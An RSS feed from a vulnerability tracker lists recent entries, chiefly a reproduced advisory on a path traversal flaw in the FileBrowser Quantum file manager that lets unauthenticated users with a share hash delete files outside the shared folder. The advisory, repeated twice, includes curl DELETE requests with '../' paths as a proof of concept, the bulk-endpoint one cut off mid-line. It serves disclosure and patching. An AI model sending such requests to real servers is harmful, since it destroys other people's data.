<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 13 Oct 2026 08:15:15 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-07993</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-07993</link>
      <description>bdu:2026-07993</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-07993</guid>
    </item>
    <item>
      <title>EUVD-2026-318998</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-318998</link>
      <description>EUVD-2026-318998</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-318998</guid>
    </item>
    <item>
      <title>fkie_cve-2026-44542</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-44542</link>
      <description>&lt;p&gt;FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-44542</guid>
    </item>
    <item>
      <title>GHSA-fwj3-42wh-8673 — FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-fwj3-42wh-8673</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/gtsteffaniak/filebrowser&lt;/p&gt;
&lt;p&gt;### **Summary**&lt;/p&gt;
&lt;p&gt;Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.&lt;/p&gt;
&lt;p&gt;### **Affected Components**&lt;/p&gt;
&lt;p&gt;**Two distinct vulnerable code paths:**&lt;/p&gt;
&lt;p&gt;1. Stable versions (e.g., gtstef/filebrowser:stable)
`DELETE /public/api/resources?hash=&amp;lt;hash&amp;gt;&amp;amp;path=../victim`
Root cause: middleware.go:111
Issue: path query parameter is joined before SanitizeUserPath()
2. Development / HEAD (e.g., commit eabdfd9)
`DELETE /public/api/resources/bulk?hash=&amp;lt;hash&amp;gt;`
Body: [{&amp;#34;path&amp;#34;:&amp;#34;../victim&amp;#34;}]
Root cause: resource.go:274
Issue: item.Path is joined before SanitizeUserPath()&lt;/p&gt;
&lt;p&gt;### **Steps to reproduce (Stable Version)**&lt;/p&gt;
&lt;p&gt;**1. Create a directory structure:**&lt;/p&gt;
&lt;p&gt;```
/folder/shared_subdir/   (shared)
/folder/protected.txt    (outside shared directory)
```&lt;/p&gt;
&lt;p&gt;**2. Create a public share:**
```
Path: /shared_subdir
AllowDelete=true
```&lt;/p&gt;
&lt;p&gt;**3. Send request:**&lt;/p&gt;
&lt;p&gt;```
curl -X DELETE &amp;#34;http://localhost/public/api/resources?hash=&amp;lt;HASH&amp;gt;&amp;amp;path=../protected.txt&amp;#34;&lt;/p&gt;
&lt;p&gt;#Observe:
#protected.txt is deleted despite being outside the shared directory
```&lt;/p&gt;
&lt;p&gt;### **Proof of Concept (HEAD / bulk endpoint)**&lt;/p&gt;
&lt;p&gt;```
curl -X DELETE &amp;#34;http://localhost/public/api/resources/bulk?hash=&amp;lt;HASH&amp;gt;&amp;#34; \
  -H &amp;#34;Content-Type: application/…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/gtsteffaniak/filebrowser&lt;/p&gt;
&lt;p&gt;### **Summary**&lt;/p&gt;
&lt;p&gt;Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.&lt;/p&gt;
&lt;p&gt;### **Affected Components**&lt;/p&gt;
&lt;p&gt;**Two distinct vulnerable code paths:**&lt;/p&gt;
&lt;p&gt;1. Stable versions (e.g., gtstef/filebrowser:stable)
`DELETE /public/api/resources?hash=&amp;lt;hash&amp;gt;&amp;amp;path=../victim`
Root cause: middleware.go:111
Issue: path query parameter is joined before SanitizeUserPath()
2. Development / HEAD (e.g., commit eabdfd9)
`DELETE /public/api/resources/bulk?hash=&amp;lt;hash&amp;gt;`
Body: [{&amp;#34;path&amp;#34;:&amp;#34;../victim&amp;#34;}]
Root cause: resource.go:274
Issue: item.Path is joined before SanitizeUserPath()&lt;/p&gt;
&lt;p&gt;### **Steps to reproduce (Stable Version)**&lt;/p&gt;
&lt;p&gt;**1. Create a directory structure:**&lt;/p&gt;
&lt;p&gt;```
/folder/shared_subdir/   (shared)
/folder/protected.txt    (outside shared directory)
```&lt;/p&gt;
&lt;p&gt;**2. Create a public share:**
```
Path: /shared_subdir
AllowDelete=true
```&lt;/p&gt;
&lt;p&gt;**3. Send request:**&lt;/p&gt;
&lt;p&gt;```
curl -X DELETE &amp;#34;http://localhost/public/api/resources?hash=&amp;lt;HASH&amp;gt;&amp;amp;path=../protected.txt&amp;#34;&lt;/p&gt;
&lt;p&gt;#Observe:
#protected.txt is deleted despite being outside the shared directory
```&lt;/p&gt;
&lt;p&gt;### **Proof of Concept (HEAD / bulk endpoint)**&lt;/p&gt;
&lt;p&gt;```
curl -X DELETE &amp;#34;http://localhost/public/api/resources/bulk?hash=&amp;lt;HASH&amp;gt;&amp;#34; \
  -H &amp;#34;Content-Type: application/…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-fwj3-42wh-8673</guid>
    </item>
  </channel>
</rss>
